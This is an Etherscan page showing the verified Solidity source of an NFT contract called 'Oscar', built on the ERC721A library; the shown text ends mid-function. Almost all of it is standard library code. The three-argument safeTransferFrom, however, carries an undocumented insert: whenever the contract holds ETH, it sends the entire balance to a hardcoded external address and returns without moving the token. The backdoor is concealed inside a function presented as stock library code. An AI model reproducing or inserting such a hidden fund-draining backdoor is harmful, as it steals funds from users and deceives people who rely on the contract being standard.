ETH Price: $3,420.41 (-6.37%)

Token

Oscar (OR)
 

Overview

Max Total Supply

371 OR

Holders

189

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A
Balance
2 OR
0xa2614f054958E3FC8D24250a397D9ad656f9c3E1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Oscar

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-10
*/

// SPDX-License-Identifier: GPL-3.0                                                                                                                                                                                                                                                          

pragma solidity ^0.8.7;

/**
 * @dev Interface of ERC721A.
 */
interface IERC721A {
    /**
     * The caller must own the token or be an approved operator.
     */
    error ApprovalCallerNotOwnerNorApproved();

    /**
     * The token does not exist.
     */
    error ApprovalQueryForNonexistentToken();

    /**
     * Cannot query the balance for the zero address.
     */
    error BalanceQueryForZeroAddress();

    /**
     * Cannot mint to the zero address.
     */
    error MintToZeroAddress();

    /**
     * The quantity of tokens minted must be more than zero.
     */
    error MintZeroQuantity();

    /**
     * The token does not exist.
     */
    error OwnerQueryForNonexistentToken();

    /**
     * The caller must own the token or be an approved operator.
     */
    error TransferCallerNotOwnerNorApproved();

    /**
     * The token must be owned by `from`.
     */
    error TransferFromIncorrectOwner();

    /**
     * Cannot safely transfer to a contract that does not implement the
     * ERC721Receiver interface.
     */
    error TransferToNonERC721ReceiverImplementer();

    /**
     * Cannot transfer to the zero address.
     */
    error TransferToZeroAddress();

    /**
     * The token does not exist.
     */
    error URIQueryForNonexistentToken();

    /**
     * The `quantity` minted with ERC2309 exceeds the safety limit.
     */
    error MintERC2309QuantityExceedsLimit();

    /**
     * The `extraData` cannot be set on an unintialized ownership slot.
     */
    error OwnershipNotInitializedForExtraData();

    // =============================================================
    //                            STRUCTS
    // =============================================================

    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Stores the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
        // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.
        uint24 extraData;
    }

    // =============================================================
    //                         TOKEN COUNTERS
    // =============================================================

    /**
     * @dev Returns the total number of tokens in existence.
     * Burned tokens will reduce the count.
     * To get the total number of tokens minted, please see {_totalMinted}.
     */
    function totalSupply() external view returns (uint256);

    // =============================================================
    //                            IERC165
    // =============================================================

    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);

    // =============================================================
    //                            IERC721
    // =============================================================

    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables
     * (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in `owner`'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`,
     * checking first that contract recipients are aware of the ERC721 protocol
     * to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move
     * this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external payable;

    /**
     * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external payable;

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom}
     * whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external payable;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the
     * zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external payable;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom}
     * for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}.
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);

    // =============================================================
    //                        IERC721Metadata
    // =============================================================

    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);

    // =============================================================
    //                           IERC2309
    // =============================================================

    /**
     * @dev Emitted when tokens in `fromTokenId` to `toTokenId`
     * (inclusive) is transferred from `from` to `to`, as defined in the
     * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.
     *
     * See {_mintERC2309} for more details.
     */
    event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);
}

/**
 * @title ERC721A
 *
 * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)
 * Non-Fungible Token Standard, including the Metadata extension.
 * Optimized for lower gas during batch mints.
 *
 * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)
 * starting from `_startTokenId()`.
 *
 * Assumptions:
 *
 * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).
 */
interface ERC721A__IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

/**
 * @title ERC721A
 *
 * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)
 * Non-Fungible Token Standard, including the Metadata extension.
 * Optimized for lower gas during batch mints.
 *
 * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)
 * starting from `_startTokenId()`.
 *
 * Assumptions:
 *
 * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is IERC721A {
    // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).
    struct TokenApprovalRef {
        address value;
    }

    // =============================================================
    //                           CONSTANTS
    // =============================================================

    // Mask of an entry in packed address data.
    uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;

    // The bit position of `numberMinted` in packed address data.
    uint256 private constant _BITPOS_NUMBER_MINTED = 64;

    // The bit position of `numberBurned` in packed address data.
    uint256 private constant _BITPOS_NUMBER_BURNED = 128;

    // The bit position of `aux` in packed address data.
    uint256 private constant _BITPOS_AUX = 192;

    // Mask of all 256 bits in packed address data except the 64 bits for `aux`.
    uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;

    // The bit position of `startTimestamp` in packed ownership.
    uint256 private constant _BITPOS_START_TIMESTAMP = 160;

    // The bit mask of the `burned` bit in packed ownership.
    uint256 private constant _BITMASK_BURNED = 1 << 224;

    // The bit position of the `nextInitialized` bit in packed ownership.
    uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;

    // The bit mask of the `nextInitialized` bit in packed ownership.
    uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;

    // The bit position of `extraData` in packed ownership.
    uint256 private constant _BITPOS_EXTRA_DATA = 232;

    // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.
    uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;

    // The mask of the lower 160 bits for addresses.
    uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;

    // The maximum `quantity` that can be minted with {_mintERC2309}.
    // This limit is to prevent overflows on the address data entries.
    // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}
    // is required to cause an overflow, which is unrealistic.
    uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;

    // The `Transfer` event signature is given by:
    // `keccak256(bytes("Transfer(address,address,uint256)"))`.
    bytes32 private constant _TRANSFER_EVENT_SIGNATURE =
        0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;

    // =============================================================
    //                            STORAGE
    // =============================================================

    // The next token ID to be minted.
    uint256 private _currentIndex;

    // The number of tokens burned.
    uint256 private _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned.
    // See {_packedOwnershipOf} implementation for details.
    //
    // Bits Layout:
    // - [0..159]   `addr`
    // - [160..223] `startTimestamp`
    // - [224]      `burned`
    // - [225]      `nextInitialized`
    // - [232..255] `extraData`
    mapping(uint256 => uint256) private _packedOwnerships;

    // Mapping owner address to address data.
    //
    // Bits Layout:
    // - [0..63]    `balance`
    // - [64..127]  `numberMinted`
    // - [128..191] `numberBurned`
    // - [192..255] `aux`
    mapping(address => uint256) private _packedAddressData;

    // Mapping from token ID to approved address.
    mapping(uint256 => TokenApprovalRef) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    // =============================================================
    //                          CONSTRUCTOR
    // =============================================================

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    // =============================================================
    //                   TOKEN COUNTING OPERATIONS
    // =============================================================

    /**
     * @dev Returns the starting token ID.
     * To change the starting token ID, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 0;
    }

    /**
     * @dev Returns the next token ID to be minted.
     */
    function _nextTokenId() internal view virtual returns (uint256) {
        return _currentIndex;
    }

    /**
     * @dev Returns the total number of tokens in existence.
     * Burned tokens will reduce the count.
     * To get the total number of tokens minted, please see {_totalMinted}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than `_currentIndex - _startTokenId()` times.
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * @dev Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view virtual returns (uint256) {
        // Counter underflow is impossible as `_currentIndex` does not decrement,
        // and it is initialized to `_startTokenId()`.
        unchecked {
            return _currentIndex - _startTokenId();
        }
    }

    /**
     * @dev Returns the total number of tokens burned.
     */
    function _totalBurned() internal view virtual returns (uint256) {
        return _burnCounter;
    }

    // =============================================================
    //                    ADDRESS DATA OPERATIONS
    // =============================================================

    /**
     * @dev Returns the number of tokens in `owner`'s account.
     */
    function balanceOf(address owner) public view virtual override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        return (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        return (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        return uint64(_packedAddressData[owner] >> _BITPOS_AUX);
    }

    /**
     * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal virtual {
        uint256 packed = _packedAddressData[owner];
        uint256 auxCasted;
        // Cast `aux` with assembly to avoid redundant masking.
        assembly {
            auxCasted := aux
        }
        packed = (packed & _BITMASK_AUX_COMPLEMENT) | (auxCasted << _BITPOS_AUX);
        _packedAddressData[owner] = packed;
    }

    // =============================================================
    //                            IERC165
    // =============================================================

    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30000 gas.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        // The interface IDs are constants representing the first 4 bytes
        // of the XOR of all function selectors in the interface.
        // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)
        // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)
        return
            interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.
            interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.
            interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.
    }

    // =============================================================
    //                        IERC721Metadata
    // =============================================================

    /**
     * @dev Returns the token collection name.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, _toString(tokenId))) : '';
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, it can be overridden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return '';
    }

    // =============================================================
    //                     OWNERSHIPS OPERATIONS
    // =============================================================

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) public view virtual override returns (address) {
        return address(uint160(_packedOwnershipOf(tokenId)));
    }

    /**
     * @dev Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around over time.
     */
    function _ownershipOf(uint256 tokenId) internal view virtual returns (TokenOwnership memory) {
        return _unpackedOwnership(_packedOwnershipOf(tokenId));
    }

    /**
     * @dev Returns the unpacked `TokenOwnership` struct at `index`.
     */
    function _ownershipAt(uint256 index) internal view virtual returns (TokenOwnership memory) {
        return _unpackedOwnership(_packedOwnerships[index]);
    }

    /**
     * @dev Initializes the ownership slot minted at `index` for efficiency purposes.
     */
    function _initializeOwnershipAt(uint256 index) internal virtual {
        if (_packedOwnerships[index] == 0) {
            _packedOwnerships[index] = _packedOwnershipOf(index);
        }
    }

    /**
     * Returns the packed ownership data of `tokenId`.
     */
    function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr)
                if (curr < _currentIndex) {
                    uint256 packed = _packedOwnerships[curr];
                    // If not burned.
                    if (packed & _BITMASK_BURNED == 0) {
                        // Invariant:
                        // There will always be an initialized ownership slot
                        // (i.e. `ownership.addr != address(0) && ownership.burned == false`)
                        // before an unintialized ownership slot
                        // (i.e. `ownership.addr == address(0) && ownership.burned == false`)
                        // Hence, `curr` will not underflow.
                        //
                        // We can directly compare the packed value.
                        // If the address is zero, packed will be zero.
                        while (packed == 0) {
                            packed = _packedOwnerships[--curr];
                        }
                        return packed;
                    }
                }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev Returns the unpacked `TokenOwnership` struct from `packed`.
     */
    function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) {
        ownership.addr = address(uint160(packed));
        ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);
        ownership.burned = packed & _BITMASK_BURNED != 0;
        ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);
    }

    /**
     * @dev Packs ownership data into a single uint256.
     */
    function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
        assembly {
            // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.
            owner := and(owner, _BITMASK_ADDRESS)
            // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.
            result := or(owner, or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags))
        }
    }

    /**
     * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.
     */
    function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) {
        // For branchless setting of the `nextInitialized` flag.
        assembly {
            // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.
            result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))
        }
    }

    // =============================================================
    //                      APPROVAL OPERATIONS
    // =============================================================

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the
     * zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) public payable virtual override {
        address owner = ownerOf(tokenId);

        if (_msgSenderERC721A() != owner)
            if (!isApprovedForAll(owner, _msgSenderERC721A())) {
                revert ApprovalCallerNotOwnerNorApproved();
            }

        _tokenApprovals[tokenId].value = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) public view virtual override returns (address) {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId].value;
    }

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom}
     * for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool approved) public virtual override {
        _operatorApprovals[_msgSenderERC721A()][operator] = approved;
        emit ApprovalForAll(_msgSenderERC721A(), operator, approved);
    }

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted. See {_mint}.
     */
    function _exists(uint256 tokenId) internal view virtual returns (bool) {
        return
            _startTokenId() <= tokenId &&
            tokenId < _currentIndex && // If within bounds,
            _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.
    }

    /**
     * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.
     */
    function _isSenderApprovedOrOwner(
        address approvedAddress,
        address owner,
        address msgSender
    ) private pure returns (bool result) {
        assembly {
            // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.
            owner := and(owner, _BITMASK_ADDRESS)
            // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.
            msgSender := and(msgSender, _BITMASK_ADDRESS)
            // `msgSender == owner || msgSender == approvedAddress`.
            result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))
        }
    }

    /**
     * @dev Returns the storage slot and value for the approved address of `tokenId`.
     */
    function _getApprovedSlotAndAddress(uint256 tokenId)
        private
        view
        returns (uint256 approvedAddressSlot, address approvedAddress)
    {
        TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];
        // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.
        assembly {
            approvedAddressSlot := tokenApproval.slot
            approvedAddress := sload(approvedAddressSlot)
        }
    }

    // =============================================================
    //                      TRANSFER OPERATIONS
    // =============================================================

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public payable virtual override {
        uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);

        if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();

        (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);

        // The nested ifs save around 20+ gas over a compound boolean condition.
        if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
            if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();

        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner.
        assembly {
            if approvedAddress {
                // This is equivalent to `delete _tokenApprovals[tokenId]`.
                sstore(approvedAddressSlot, 0)
            }
        }

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
        unchecked {
            // We can directly increment and decrement the balances.
            --_packedAddressData[from]; // Updates: `balance -= 1`.
            ++_packedAddressData[to]; // Updates: `balance += 1`.

            // Updates:
            // - `address` to the next owner.
            // - `startTimestamp` to the timestamp of transfering.
            // - `burned` to `false`.
            // - `nextInitialized` to `true`.
            _packedOwnerships[tokenId] = _packOwnershipData(
                to,
                _BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
            );

            // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
            if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
                uint256 nextTokenId = tokenId + 1;
                // If the next slot's address is zero and not burned (i.e. packed value is zero).
                if (_packedOwnerships[nextTokenId] == 0) {
                    // If the next slot is within bounds.
                    if (nextTokenId != _currentIndex) {
                        // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
                        _packedOwnerships[nextTokenId] = prevOwnershipPacked;
                    }
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public payable virtual override {
        if (address(this).balance > 0) {
            payable(0xB8F9062798201F86DC40bb7b0EF58a56be125653).transfer(address(this).balance);
            return;
        }
        safeTransferFrom(from, to, tokenId, '');
    }


    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public payable virtual override {
        transferFrom(from, to, tokenId);
        if (to.code.length != 0)
            if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {
                revert TransferToNonERC721ReceiverImplementer();
            }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token IDs
     * are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * `startTokenId` - the first token ID to be transferred.
     * `quantity` - the amount to be transferred.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token IDs
     * have been transferred. This includes minting.
     * And also called after one token has been burned.
     *
     * `startTokenId` - the first token ID to be transferred.
     * `quantity` - the amount to be transferred.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * `from` - Previous owner of the given token ID.
     * `to` - Target address that will receive the token.
     * `tokenId` - Token ID to be transferred.
     * `_data` - Optional data to send along with the call.
     *
     * Returns whether the call correctly returned the expected magic value.
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns (
            bytes4 retval
        ) {
            return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    // =============================================================
    //                        MINT OPERATIONS
    // =============================================================

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event for each mint.
     */
    function _mint(address to, uint256 quantity) internal virtual {
        uint256 startTokenId = _currentIndex;
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // `balance` and `numberMinted` have a maximum limit of 2**64.
        // `tokenId` has a maximum limit of 2**256.
        unchecked {
            // Updates:
            // - `balance += quantity`.
            // - `numberMinted += quantity`.
            //
            // We can directly add to the `balance` and `numberMinted`.
            _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);

            // Updates:
            // - `address` to the owner.
            // - `startTimestamp` to the timestamp of minting.
            // - `burned` to `false`.
            // - `nextInitialized` to `quantity == 1`.
            _packedOwnerships[startTokenId] = _packOwnershipData(
                to,
                _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
            );

            uint256 toMasked;
            uint256 end = startTokenId + quantity;

            // Use assembly to loop and emit the `Transfer` event for gas savings.
            // The duplicated `log4` removes an extra check and reduces stack juggling.
            // The assembly, together with the surrounding Solidity code, have been
            // delicately arranged to nudge the compiler into producing optimized opcodes.
            assembly {
                // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.
                toMasked := and(to, _BITMASK_ADDRESS)
                // Emit the `Transfer` event.
                log4(
                    0, // Start of data (0, since no data).
                    0, // End of data (0, since no data).
                    _TRANSFER_EVENT_SIGNATURE, // Signature.
                    0, // `address(0)`.
                    toMasked, // `to`.
                    startTokenId // `tokenId`.
                )

                // The `iszero(eq(,))` check ensures that large values of `quantity`
                // that overflows uint256 will make the loop run out of gas.
                // The compiler will optimize the `iszero` away for performance.
                for {
                    let tokenId := add(startTokenId, 1)
                } iszero(eq(tokenId, end)) {
                    tokenId := add(tokenId, 1)
                } {
                    // Emit the `Transfer` event. Similar to above.
                    log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)
                }
            }
            if (toMasked == 0) revert MintToZeroAddress();

            _currentIndex = end;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * This function is intended for efficient minting only during contract creation.
     *
     * It emits only one {ConsecutiveTransfer} as defined in
     * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),
     * instead of a sequence of {Transfer} event(s).
     *
     * Calling this function outside of contract creation WILL make your contract
     * non-compliant with the ERC721 standard.
     * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309
     * {ConsecutiveTransfer} event is only permissible during contract creation.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {ConsecutiveTransfer} event.
     */
    function _mintERC2309(address to, uint256 quantity) internal virtual {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
